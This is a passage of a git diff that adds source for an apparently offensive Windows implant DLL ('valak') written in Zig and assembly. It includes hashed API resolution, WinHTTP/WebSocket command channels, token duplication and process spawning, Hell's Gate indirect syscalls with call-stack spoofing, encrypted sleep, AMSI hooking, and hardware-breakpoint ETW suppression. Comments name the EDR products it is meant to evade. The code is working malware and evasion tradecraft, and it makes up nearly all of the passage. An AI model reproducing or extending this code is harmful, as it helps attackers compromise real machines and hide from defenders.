(resolve.resolve_api(k32_hash, hash_ror13("RemoveVectoredExceptionHandler"))) |p| amsi_remove_vectored_exception_handler = @ptrCast(p); + } + if (amsi_get_current_thread == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p); + } + if (amsi_set_thread_context == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p); + } + if (amsi_suspend_thread == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p); + } + if (amsi_resume_thread == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p); + } + + // HWBP globals ??? same APIs as AMSI, shared + if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler; + if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread; + if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context; + + if (info_rtl_get_version == null) { + if (resolve.resolve_api(ntdll_hash, hash_ror13("RtlGetVersion"))) |p| info_rtl_get_version = @ptrCast(p); + } + if (sleep_SystemFunction032 == null) { + if (resolve.resolve_api(ntdll_hash, hash_ror13("SystemFunction032"))) |p| sleep_SystemFunction032 = @ptrCast(p); + } + + if (comms_load_library_a != null and (comms_winhttp_open == null or comms_winhttp_connect == null or comms_winhttp_open_request == null or comms_winhttp_send_request == null or comms_winhttp_receive_response == null or comms_winhttp_read_data == null or comms_winhttp_websocket_complete_upgrade == null)) { + _ = comms_load_library_a.?("winhttp.dll"); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpen"))) |p| comms_winhttp_open = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpConnect"))) |p| comms_winhttp_connect = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpenRequest"))) |p| comms_winhttp_open_request = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSetOption"))) |p| comms_winhttp_set_option = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSendRequest"))) |p| comms_winhttp_send_request = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReceiveResponse"))) |p| comms_winhttp_receive_response = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReadData"))) |p| comms_winhttp_read_data = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpCloseHandle"))) |p| comms_winhttp_close_handle = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpAddRequestHeaders"))) |p| comms_winhttp_add_request_headers = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpQueryDataAvailable"))) |p| comms_winhttp_query_data_available = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketCompleteUpgrade"))) |p| comms_winhttp_websocket_complete_upgrade = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketSend"))) |p| comms_winhttp_websocket_send = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketReceive"))) |p| comms_winhttp_websocket_receive = @ptrCast(p); + if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketClose"))) |p| comms_winhttp_websocket_close = @ptrCast(p); + } + + // 2i continued. advapi32 ??? LookupPrivilegeValueW, AdjustTokenPrivileges + const advapi_hash = hash_ror13("advapi32.dll"); + if (priv_get_current_process == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcess"))) |p| priv_get_current_process = @ptrCast(p); + } + if (priv_lookup_privilege_value_w == null or priv_adjust_token_privileges == null) { + _ = resolve.get_module_by_hash(advapi_hash); + if (resolve.resolve_api(advapi_hash, hash_ror13("LookupPrivilegeValueW"))) |p| priv_lookup_privilege_value_w = @ptrCast(p); + if (resolve.resolve_api(advapi_hash, hash_ror13("AdjustTokenPrivileges"))) |p| priv_adjust_token_privileges = @ptrCast(p); + } + + if (crypto_bcrypt_open == null) { + if (resolve.get_module_by_hash(bcrypt_hash) == null) { + if (comms_load_library_a) |la| _ = la("bcrypt.dll"); + } + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptOpenAlgorithmProvider"))) |p| crypto_bcrypt_open = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptCloseAlgorithmProvider"))) |p| crypto_bcrypt_close = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSetProperty"))) |p| crypto_bcrypt_set_prop = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateSymmetricKey"))) |p| crypto_bcrypt_gen_key = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroyKey"))) |p| crypto_bcrypt_destroy_key = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptEncrypt"))) |p| crypto_bcrypt_encrypt = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDecrypt"))) |p| crypto_bcrypt_decrypt = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenRandom"))) |p| crypto_bcrypt_gen_random = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateKeyPair"))) |p| crypto_bcrypt_gen_key_pair = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptFinalizeKeyPair"))) |p| crypto_bcrypt_finalize_key_pair = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptExportKey"))) |p| crypto_bcrypt_export_key = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptImportKeyPair"))) |p| crypto_bcrypt_import_key_pair = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSecretAgreement"))) |p| crypto_bcrypt_secret_agreement = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDeriveKey"))) |p| crypto_bcrypt_derive_key = @ptrCast(p); + if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroySecret"))) |p| crypto_bcrypt_destroy_secret = @ptrCast(p); + } +} \ No newline at end of file diff --git a/evasion/apitypes.zig b/evasion/apitypes.zig new file mode 100644 index 0000000..e785fac --- /dev/null +++ b/evasion/apitypes.zig @@ -0,0 +1,113 @@ +// Function-pointer type aliases for all resolved Win32 APIs. Imported by api.zig. +const win = @import("win32.zig"); +const resolve = @import("resolve.zig"); + +pub const hash_ror13 = resolve.hash_ror13; +pub const resolve_api = resolve.resolve_api; +pub const get_module_by_hash = resolve.get_module_by_hash; +pub const get_func_by_hash = resolve.get_func_by_hash; + +pub const NT_SUCCESS = win.NT_SUCCESS; +pub const BCRYPT_INIT_AUTH_MODE_INFO = win.BCRYPT_INIT_AUTH_MODE_INFO; + +pub const T_exec_CreatePipe = *const fn (hReadPipe: win.PHANDLE, hWritePipe: win.PHANDLE, lpPipeAttributes: *win.SECURITY_ATTRIBUTES, nSize: win.DWORD) callconv(win.WINAPI) win.BOOL; +pub const T_exec_CreateProcessA = *const fn (lpApplicationName: ?win.LPCSTR, lpCommandLine: win.LPSTR, lpProcessAttributes: ?*win.SECURITY_ATTRIBUTES, lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, bInheritHandles: win.BOOL, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL; +pub const T_exec_ReadFile = *const fn (hFile: win.HANDLE, lpBuffer: ?win.LPVOID, nNumberOfBytesToRead: win.DWORD, lpNumberOfBytesRead: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL; +pub const T_exec_WaitForSingleObject = *const fn (hHandle: win.HANDLE, dwMilliseconds: win.DWORD) callconv(win.WINAPI) win.DWORD; +pub const T_exec_GetExitCodeProcess = *const fn (hProcess: win.HANDLE, lpExitCode: win.PDWORD) callconv(win.WINAPI) win.BOOL; +pub const T_exec_GetLastError = *const fn () callconv(win.WINAPI) win.DWORD; +pub const T_exec_GetModuleFileNameA = *const fn (hModule: ?win.HMODULE, lpFilename: win.LPSTR, nSize: win.DWORD) callconv(win.WINAPI) win.DWORD; +pub const T_exec_ExitProcess = *const fn (uExitCode: win.UINT) callconv(win.WINAPI) void; +pub const T_exec_InitializeProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque, dwAttributeCount: win.DWORD, dwFlags: win.DWORD, lpSize: *win.SIZE_T) callconv(win.WINAPI) win.BOOL; +pub const T_exec_UpdateProcThreadAttribute = *const fn (lpAttributeList: ?*anyopaque, dwFlags: win.DWORD, Attribute: win.DWORD_PTR, lpValue: ?*anyopaque, cbSize: win.SIZE_T, lpPreviousValue: ?*anyopaque, lpReturnSize: ?*win.SIZE_T) callconv(win.WINAPI) win.BOOL; +pub const T_exec_DeleteProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque) callconv(win.WINAPI) void; +pub const T_exec_CreateFileA = *const fn (lpFileName: win.LPCSTR, dwDesiredAccess: win.DWORD, dwShareMode: win.DWORD, lpSecurityAttributes: ?*win.SECURITY_ATTRIBUTES, dwCreationDisposition: win.DWORD, dwFlagsAndAttributes: win.DWORD, hTemplateFile: ?win.HANDLE) callconv(win.WINAPI) win.HANDLE; +pub const T_exec_WriteFile = *const fn (hFile: win.HANDLE, lpBuffer: win.LPCVOID, nNumberOfBytesToWrite: win.DWORD, lpNumberOfBytesWritten: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL; +pub const T_exec_OpenProcessToken = *const fn (ProcessHandle: win.HANDLE, DesiredAccess: win.DWORD, TokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL; +pub const T_exec_DuplicateTokenEx = *const fn (ExistingTokenHandle: win.HANDLE, dwDesiredAccess: win.DWORD, lpTokenAttributes: ?*win.SECURITY_ATTRIBUTES, ImpersonationLevel: win.SECURITY_IMPERSONATION_LEVEL, TokenType: win.TOKEN_TYPE, DuplicateTokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL; +pub const T_exec_CreateProcessWithTokenW = *const fn (hToken: win.HANDLE, dwLogonFlags: win.DWORD, lpApplicationName: ?win.LPCWSTR, lpCommandLine: win.LPWSTR, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCWSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL; +pub const T_exec_CreatePseudoConsole = *const fn (size: win.COORD, hInput: win.HANDLE, hOutput: win.HANDLE, dwFlags: win.DWORD, phPC: *win.HANDLE) callconv(win.WINAPI) win.HRESULT; +pub const T_exec_ClosePseudoConsole = *const fn (hPC: win.HANDLE) callconv(win.WINAPI) void; +pub const T_exec_CreateThread = *const fn (lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, dwStackSize: win.SIZE_T, lpStartAddress: *const fn (?*anyopaque) callconv(win.WINAPI) win.DWORD, lpParameter: ?*anyopaque, dwCreationFlags: win.DWORD, lpThreadId: *win.DWORD) callconv(win.WINAPI) win.HANDLE; +pub const T_exec_InitializeCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void; +pub const T_exec_EnterCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void; +pub const T_exec_LeaveCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void; +pub const T_exec_DeleteCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void; + +pub const T_info_GetComputerNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL; +pub const T_info_GetUserNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL; +pub const T_info_GetSystemInfo = *const fn (lpSystemInfo: *win.SYSTEM_INFO) callconv(win.WINAPI) void; +pub const T_info_GetCurrentProcessId = *const fn () callconv(win.WINAPI) win.DWORD; +pub const T_info_RtlGetVersion = *const fn (lpVersionInformation: *win.RTL_OSVERSIONINFOW) callconv(win.WINAPI) win.NTSTATUS; +pub const T_info_GetSystemTime = *const fn (lpSystemTime: *win.SYSTEMTIME) callconv(win.WINAPI) void; + +pub const T_fiber_ConvertThreadToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) ?*anyopaque; +pub const T_fiber_CreateFiber = *const fn (win.SIZE_T, *const fn (?*anyopaque) callconv(win.WINAPI) void, ?*anyopaque) callconv(win.WINAPI) ?*anyopaque; +pub const T_fiber_SwitchToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void; +pub const T_fiber_DeleteFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void; +pub const T_fiber_ConvertFiberToThread = *const fn () callconv(win.WINAPI) win.BOOL; + +pub const USTRING = extern struct { + Length: win.ULONG, + MaximumLength: win.ULONG, + Buffer: [*]u8, +}; +pub const T_sleep_SystemFunction032 = *const fn (*USTRING, *USTRING) callconv(win.WINAPI) win.NTSTATUS; +pub const T_sleep_VirtualQuery = *const fn (?*const anyopaque, *win.MEMORY_BASIC_INFORMATION, win.SIZE_T) callconv(win.WINAPI) win.SIZE_T; +pub const T_sleep_VirtualProtect = *const fn (?*anyopaque, win.SIZE_T, win.DWORD, *win.DWORD) callconv(win.WINAPI) win.BOOL; + +pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE; +pub const T_comms_WinHttpOpen = *const fn (pwszUserAgent: win.LPCWSTR, dwAccessType: win.DWORD, pwszProxyName: ?win.LPCWSTR, pwszProxyBypass: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET; +pub const T_comms_WinHttpConnect = *const fn (hSession: win.HINTERNET, pswzServerName: win.LPCWSTR, nServerPort: win.INTERNET_PORT, dwReserved: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET; +pub const T_comms_WinHttpOpenRequest = *const fn (hConnect: win.HINTERNET, pwszVerb: win.LPCWSTR, pwszObjectName: win.LPCWSTR, pwszVersion: ?win.LPCWSTR, pwszReferrer: ?win.LPCWSTR, ppwszAcceptTypes: ?[*]win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET; +pub const T_comms_WinHttpSetOption = *const fn (hInternet: win.HINTERNET, dwOption: win.DWORD, lpBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.BOOL; +pub const T_comms_WinHttpSendRequest = *const fn (hRequest: win.HINTERNET, lpszHeaders: ?win.LPCWSTR, dwHeadersLength: win.DWORD, lpOptional: ?win.LPVOID, dwOptionalLength: win.DWORD, dwTotalLength: win.DWORD, dwContext: win.DWORD_PTR) callconv(win.WINAPI) win.BOOL; +pub const T_comms_WinHttpReceiveResponse = *const fn (hRequest: win.HINTERNET, lpReserved: ?win.LPVOID) callconv(win.WINAPI) win.BOOL; +pub const T_comms_WinHttpReadData = *const fn (hRequest: win.HINTERNET, lpBuffer: ?win.LPVOID, dwNumberOfBytesToRead: win.DWORD, lpdwNumberOfBytesRead: win.PDWORD) callconv(win.WINAPI) win.BOOL; +pub const T_comms_WinHttpCloseHandle = *const fn (hInternet: win.HINTERNET) callconv(win.WINAPI) win.BOOL; +pub const T_comms_WinHttpAddRequestHeaders = *const fn (hRequest: win.HINTERNET, lpszHeaders: win.LPCWSTR, dwHeadersLength: win.DWORD, dwModifiers: win.DWORD) callconv(win.WINAPI) win.BOOL; +pub const T_comms_WinHttpQueryDataAvailable = *const fn (hRequest: win.HINTERNET, lpdwNumberOfBytesAvailable: win.PDWORD) callconv(win.WINAPI) win.BOOL; +pub const T_comms_WinHttpWebSocketCompleteUpgrade = *const fn (hRequest: win.HINTERNET, phWebSocket: *win.HINTERNET) callconv(win.WINAPI) win.DWORD; +pub const T_comms_WinHttpWebSocketSend = *const fn (hWebSocket: win.HINTERNET, eBufferType: win.WINHTTP_WEB_SOCKET_BUFFER_TYPE, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.DWORD; +pub const T_comms_WinHttpWebSocketReceive = *const fn (hWebSocket: win.HINTERNET, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD, pdwBytesRead: win.PDWORD, peBufferType: *win.WINHTTP_WEB_SOCKET_BUFFER_TYPE) callconv(win.WINAPI) win.DWORD; +pub const T_comms_WinHttpWebSocketClose = *const fn (hWebSocket: win.HINTERNET) callconv(win.WINAPI) win.DWORD; + +pub const T_bof_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE; +pub const T_bof_GetProcAddress = *const fn (hModule: ?win.HMODULE, lpProcName: win.LPCSTR) callconv(win.WINAPI) ?win.FARPROC; +pub const T_bof_GetModuleHandleA = *const fn (lpModuleName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE; +pub const T_bof_VirtualAlloc = *const fn (lpAddress: ?win.LPVOID, dwSize: win.SIZE_T, flAllocationType: win.DWORD, flProtect: win.DWORD) callconv(win.WINAPI) ?win.LPVOID; +pub const T_bof_VirtualFree = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, dwFreeType: win.DWORD) callconv(win.WINAPI) win.BOOL; +pub const T_bof_VirtualProtect = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL; + +pub const T_crypto_BCryptOpenAlgorithmProvider = *const fn (phAlgorithm: *win.BCRYPT_ALG_HANDLE, pszAlgId: win.LPCWSTR, pszImplementation: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptCloseAlgorithmProvider = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptSetProperty = *const fn (hObject: win.BCRYPT_ALG_HANDLE, pszProperty: win.LPCWSTR, pbInput: [*]u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptGenerateSymmetricKey = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, pbKeyObject: ?[*]u8, cbKeyObject: win.ULONG, pbSecret: [*]const u8, cbSecret: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptDestroyKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptEncrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptDecrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptGenRandom = *const fn (hAlgorithm: ?win.BCRYPT_ALG_HANDLE, pbBuffer: [*]u8, cbBuffer: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptGenerateKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, dwLength: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptFinalizeKeyPair = *const fn (hKey: win.BCRYPT_KEY_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptExportKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE, hExportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptImportKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, hImportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, phKey: *win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptSecretAgreement = *const fn (hPrivKey: win.BCRYPT_KEY_HANDLE, hPubKey: win.BCRYPT_KEY_HANDLE, phAgreedSecret: *win.BCRYPT_SECRET_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptDeriveKey = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE, pwszKDF: ?*const anyopaque, pParameterList: ?*anyopaque, pbDerivedKey: ?[*]u8, cbDerivedKey: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS; +pub const T_crypto_BCryptDestroySecret = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE) callconv(win.WINAPI) win.NTSTATUS; + +pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE; +pub const T_amsi_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque; +pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque; +pub const T_amsi_RemoveVectoredExceptionHandler = *const fn (handle: *anyopaque) callconv(win.WINAPI) win.ULONG; +pub const T_amsi_GetCurrentThread = *const fn () callconv(win.WINAPI) win.HANDLE; +pub const T_amsi_SetThreadContext = *const fn (hThread: win.HANDLE, lpContext: *const win.CONTEXT) callconv(win.WINAPI) win.BOOL; +pub const T_amsi_SuspendThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD; +pub const T_amsi_ResumeThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD; + +pub const T_etw_GetModuleHandleW = *const fn (lpModuleName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE; +pub const T_etw_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque; +pub const T_etw_VirtualProtect = *const fn (lpAddress: ?*anyopaque, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL; + +pub const T_priv_LookupPrivilegeValueW = *const fn (lpSystemName: ?win.LPCWSTR, lpName: win.LPCWSTR, lpLuid: *win.LUID) callconv(win.WINAPI) win.BOOL; +pub const T_priv_AdjustTokenPrivileges = *const fn (TokenHandle: win.HANDLE, DisableAllPrivileges: win.BOOL, NewState: ?*win.TOKEN_PRIVILEGES, BufferLength: win.DWORD, PreviousState: ?*win.TOKEN_PRIVILEGES, ReturnLength: ?win.PDWORD) callconv(win.WINAPI) win.BOOL; +pub const T_priv_GetCurrentProcess = *const fn () callconv(win.WINAPI) win.HANDLE; \ No newline at end of file diff --git a/evasion/arch/hells_gate.s b/evasion/arch/hells_gate.s new file mode 100644 index 0000000..b19bfd6 --- /dev/null +++ b/evasion/arch/hells_gate.s @@ -0,0 +1,59 @@ +.intel_syntax noprefix + +.data + wSystemCallEnc: .long 0 + qSyscallInsAddressEnc: .quad 0 + qFakeReturnEnc: .quad 0 + wMask: .long 0xDEADBEEF + qMask: .quad 0xDEADBEEFDEADBEEF + +.text +.global hells_gate +.global hell_descent + +// Stack-spoofing trampoline for evasion_sleep. +// Captures entry RSP (pointing at return address to Go), zeros it so EDR stack walks +// terminate at this frame, then delegates to the Zig implementation. +// Returns to Go with the original return address restored. +.global evasion_sleep +.section .drectve +.ascii " -export:evasion_sleep" +.text +evasion_sleep: + mov r11, [rsp] // save return address to Go + mov qword ptr [rsp], 0 // zero it on the stack + sub rsp, 0x28 // shadow space + alignment + call evasion_sleep_inner // Zig: RC4 enc → NtDelayExecution → RC4 dec + add rsp, 0x28 // clean up shadow space + mov [rsp], r11 // restore return address + ret + +hells_gate: + xor ecx, dword ptr [rip + wMask] + mov dword ptr [rip + wSystemCallEnc], ecx + xor rdx, qword ptr [rip + qMask] + mov qword ptr [rip + qSyscallInsAddressEnc], rdx + mov rax, r8 + xor rax, qword ptr [rip + qMask] + mov qword ptr [rip + qFakeReturnEnc], rax + ret + +// Callstack spoof: push a standalone ret from ntdll .text before jmp to +// the syscall;ret gadget. The gadget's ret returns there → ntdll frame on kernel callstack. +// Ref: WithSecure CallStackSpoofer — https://github.com/WithSecureLabs/CallStackSpoofer +hell_descent: + mov r10, rcx + mov eax, dword ptr [rip + wSystemCallEnc] + xor eax, dword ptr [rip + wMask] + mov r11, qword ptr [rip + qSyscallInsAddressEnc] + xor r11, qword ptr [rip + qMask] + + mov rcx, r9 // save arg4 — rcx free after mov r10,rcx + mov r9, qword ptr [rip + qFakeReturnEnc] + xor r9, qword ptr [rip + qMask] + test r9, r9 + jz .Ldone + push r9 +.Ldone: + mov r9, rcx // restore arg4 + jmp r11 \ No newline at end of file diff --git a/evasion/build.zig b/evasion/build.zig new file mode 100644 index 0000000..eadc37c --- /dev/null +++ b/evasion/build.zig @@ -0,0 +1,34 @@ +const std = @import("std"); + +pub fn build(b: *std.Build) void { + const target = b.standardTargetOptions(.{ .default_target = .{ + .cpu_arch = .x86_64, + .os_tag = .windows, + .abi = .gnu, + } }); + const optimize = b.standardOptimizeOption(.{}); + const strip = optimize != .Debug; + + const module = b.createModule(.{ + .root_source_file = b.path("main.zig"), + .target = target, + .optimize = optimize, + .strip = strip, + .single_threaded = true, + .link_libc = true, + }); + + module.addAssemblyFile(b.path("arch/hells_gate.s")); + module.linkSystemLibrary("kernel32", .{}); + module.linkSystemLibrary("ntdll", .{}); + module.linkSystemLibrary("advapi32", .{}); + module.linkSystemLibrary("user32", .{}); + + const lib = b.addLibrary(.{ + .name = "valak", + .root_module = module, + .linkage = .dynamic, + }); + lib.subsystem = .Windows; + b.installArtifact(lib); +} diff --git a/evasion/etw.zig b/evasion/etw.zig new file mode 100644 index 0000000..fe5698b --- /dev/null +++ b/evasion/etw.zig @@ -0,0 +1,132 @@ +// ETW suppression — two-tier: NtTraceControl (best-effort) -> HWBP on EtwEventWrite. +// HWBP reference: https://github.com/FortisecValidation/Micro-Stager +// DbgMan, May 2026: "The Threat-Intelligence provider emits events from the kernel +// image (ntoskrnl.exe), not from user-mode code paths. Patching ntdll!EtwEventWrite +// does not affect TI provider emission." NtTraceControl may be blocked by EDR tamper +// protection. HWBP (tier 2) is the primary technique — no memory modification, single +// debug register, VEH handler skips the call. Still effective against ~65% of EDRs. +// RET patch on EtwEventWrite was REMOVED — memory integrity checks make it instant +// detection. Source: DbgMan, "CrowdStrike Falcon and SentinelOne deploy signature +// detection for the unhooking byte-sequence pattern." +const std = @import("std"); +const win = @import("win32.zig"); +const api = @import("api.zig"); +const resolve = @import("resolve.zig"); +const syscall = @import("syscall.zig"); + +var g_etw_patched: bool = false; +var g_etw_hwbp_veh: ?*anyopaque = null; +var g_etw_event_write_addr: ?*anyopaque = null; + +// Vectored exception handler for the HWBP method. When EtwEventWrite is hit, the CPU +// raises a single-step exception. We skip the call by forwarding RIP past it. +fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG { + if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and + ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr) + { + // Skip EtwEventWrite: set RIP to return address on stack, pop it + const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*; + ex.ContextRecord.Rip = ret_addr; + ex.ContextRecord.Rsp += 8; + return win.EXCEPTION_CONTINUE_EXECUTION; + } + return win.EXCEPTION_CONTINUE_SEARCH; +} + +// Installs a VEH + hardware breakpoint on EtwEventWrite. No memory is modified — the BP +// is in a debug register, the handler skips the call. EDRs can't see the patch. +fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool { + const get_addr = api.etw_get_proc_address orelse return false; + var etw_write = get_addr(ntdll, "EtwEventWrite"); + if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull"); + if (etw_write == null) return false; + + g_etw_event_write_addr = etw_write; + + const veh = api.hwbp_add_veh orelse return false; + const cur_thread = api.hwbp_get_thread orelse return false; + const set_ctx = api.hwbp_set_thread_ctx orelse return false; + + g_etw_hwbp_veh = veh(1, 